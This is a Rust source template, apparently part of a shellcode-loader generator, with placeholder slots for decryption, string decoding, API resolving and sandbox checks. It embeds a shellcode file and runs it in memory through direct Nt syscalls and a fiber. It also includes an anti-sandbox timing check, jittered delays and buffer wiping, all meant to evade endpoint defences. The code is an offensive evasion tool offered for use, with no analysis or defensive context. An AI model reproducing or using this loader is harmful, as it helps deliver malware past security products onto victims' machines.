||||
|
||||
use ntapi::ntpsapi::NtCurrentProcess;
|
||||
use dyncvoke::dyncvoke_core::syscall;
|
||||
use winapi::ctypes::c_void;
|
||||
use winapi::{
|
||||
shared::ntdef::NT_SUCCESS,
|
||||
um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE},
|
||||
};
|
||||
use windows_sys::Win32::System::Threading::{
|
||||
ConvertThreadToFiber, CreateFiberEx, SwitchToFiber, LPFIBER_START_ROUTINE,
|
||||
};
|
||||
|
||||
use std::include_bytes;
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
{{STR_DECODER}}
|
||||
|
||||
{{API_RESOLVER}}
|
||||
|
||||
fn {{FN_PAUSE}}(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
{{FN_PAUSE}}(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn {{FN_INJECT}}(mut buf: Vec<u8>) {
|
||||
unsafe {
|
||||
let buf_len = buf.len();
|
||||
|
||||
let mut region_base: *mut c_void = null_mut();
|
||||
let mut region_size: usize = buf_len;
|
||||
let status = syscall!("NtAllocateVirtualMemory",
|
||||
NtCurrentProcess,
|
||||
&mut region_base as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut region_size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
{{FN_PAUSE}}({{JITTER_1}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut bytes_written: usize = 0;
|
||||
let src = buf.as_mut_ptr() as *mut c_void;
|
||||
let status = syscall!("NtWriteVirtualMemory",
|
||||
NtCurrentProcess,
|
||||
region_base,
|
||||
src,
|
||||
buf_len,
|
||||
&mut bytes_written as *mut usize
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
|
||||
{{FN_PAUSE}}({{JITTER_2}});
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut old_protect: u32 = 0;
|
||||
let mut protect_size: usize = buf_len;
|
||||
let status = syscall!("NtProtectVirtualMemory",
|
||||
NtCurrentProcess,
|
||||
&mut region_base as *mut *mut c_void,
|
||||
&mut protect_size as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
{{FN_PAUSE}}({{JITTER_4}});
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
let fiber_func: LPFIBER_START_ROUTINE = std::mem::transmute(region_base);
|
||||
let shellcode_fiber = CreateFiberEx(0, 0, 0, fiber_func, null_mut());
|
||||
if shellcode_fiber.is_null() { return; }
|
||||
|
||||
let main_fiber = ConvertThreadToFiber(null_mut());
|
||||
if main_fiber.is_null() { return; }
|
||||
|
||||
SwitchToFiber(shellcode_fiber);
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{NT_DELAY_AT_START}}
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
{{FN_INJECT}}(vec);
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||